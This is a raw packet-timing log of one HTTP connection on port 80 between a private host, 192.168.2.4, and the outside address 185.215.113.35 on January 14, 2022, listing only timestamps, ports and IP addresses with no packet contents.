Jan 14, 2022 09:26:01.399558067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.399735928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.399743080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.399910927 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.399919987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.400098085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.400105953 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.400270939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.400275946 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.400460005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.400465965 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.400630951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.400638103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.400816917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.400824070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.400990963 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.400999069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.401175022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.401182890 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.401350021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.401356936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.401535034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.401542902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.401714087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.401727915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.401911974 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.401917934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.402081966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.402090073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.402266026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.402271032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.411717892 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.411853075 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.411997080 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.412081957 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.412307978 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.412322998 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.412333012 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.412343025 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.412358999 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.412377119 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.412386894 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.412396908 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.412414074 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.412430048 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.412446022 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.419281006 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.419516087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.419745922 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.419892073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.420241117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.420249939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.420418978 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.420428038 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.420512915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.420694113 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.420701981 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.420881987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.420892000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.421051979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.421062946 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.421231985 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.421241045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.421407938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.421416998 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.421586037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.421600103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.423470974 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.424690008 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.424706936 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.428805113 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.430229902 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.430608988 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.430850029 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.433521032 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.433552980 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.436378002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.436403036 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.436542988 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.436553955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.436719894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.436732054 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.436894894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.436907053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.437073946 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.437083960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.437244892 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.437256098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.437422991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.437433004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.437566996 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.437601089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.437612057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.437784910 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.437796116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.437834024 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.437871933 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.438034058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.438045025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.438205957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.438215971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.438376904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.438389063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.438553095 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.438564062 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.438730955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.438750982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.438903093 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.438915014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.439078093 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.439094067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.439251900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.439264059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.439430952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.439444065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.439635992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.439650059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.439806938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.439815044 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.439970970 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.439985037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.440152884 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.440169096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.440320015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.440332890 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.440490961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.440501928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.440668106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.440680981 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.440843105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.440855026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.441019058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.441040993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.441190958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.441203117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.441365957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.441378117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.441543102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.441555977 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.441701889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.441747904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.442189932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.442383051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.442476988 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.442558050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.442812920 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.442900896 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.443120003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.443979025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.444082022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.444256067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.444269896 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.444427013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.444441080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.444597960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.444613934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.444785118 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.444801092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.444958925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.444979906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.445137024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.445152998 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.445286036 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.455491066 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.455528975 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.455557108 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.455593109 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.455621958 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.455646992 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.455673933 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.455703974 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.455738068 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.455883980 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.456971884 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.457032919 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.457066059 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.457165956 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.458301067 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.458609104 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.459904909 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.460046053 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.460072994 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.460103989 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.460315943 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.460331917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.460484982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.460499048 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.460685015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.460692883 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.460701942 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.460735083 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.460761070 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.460787058 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.460797071 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.460815907 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.460840940 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.460866928 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.461002111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.461018085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.461158991 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.461186886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.461205006 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.461287975 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.461324930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.461461067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.461476088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.461652994 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.461667061 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.461828947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.461842060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.462013006 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.462029934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.462184906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.462198973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.462371111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.462385893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.462546110 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.462560892 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.462728024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.462745905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.462903023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.462917089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.463088989 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.463103056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.463267088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.463282108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.463449001 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.463464975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.463622093 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.463638067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.463771105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.463886023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.463901043 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.464068890 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.464082003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.464247942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.464262962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.464428902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.464446068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.464597940 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.464607000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.464782000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.464790106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.464967012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.464975119 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.465152979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.465162992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.465250015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.465385914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.465903997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.465981960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.466362000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.466490984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.466567993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.466794014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.467223883 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.467555046 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.467571020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.467731953 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.467749119 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.467912912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.467928886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.468089104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.468101025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.468266964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.468282938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.468439102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.468452930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.468620062 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.468636036 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.468796968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.468810081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.468967915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.468981028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.469141006 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.469151974 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.469321012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.469333887 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.469496012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.469506979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.469667912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.469681978 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.469858885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.469872952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.470000029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.470108032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.470118999 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.470284939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.470295906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.470391989 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.470544100 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.470558882 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.470725060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.470738888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.470889091 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.477477074 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.477502108 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.483938932 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.483985901 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.486287117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.486602068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.486614943 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.486795902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.486980915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.487061024 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.487081051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.487241983 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.487334013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.487497091 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.487509012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.487622023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.487771034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.487843037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.488025904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.488037109 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.488151073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.488224030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.488367081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.488452911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.488600969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.488784075 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.488795042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.488925934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.489089012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.489172935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.489300966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.489492893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.489509106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.489626884 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.489753008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.489944935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.490082979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.490259886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.490859032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.490983009 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.491130114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.491146088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.491297007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.491303921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.491466999 CET	49891	80	192.168.2.4	185.215.113.35
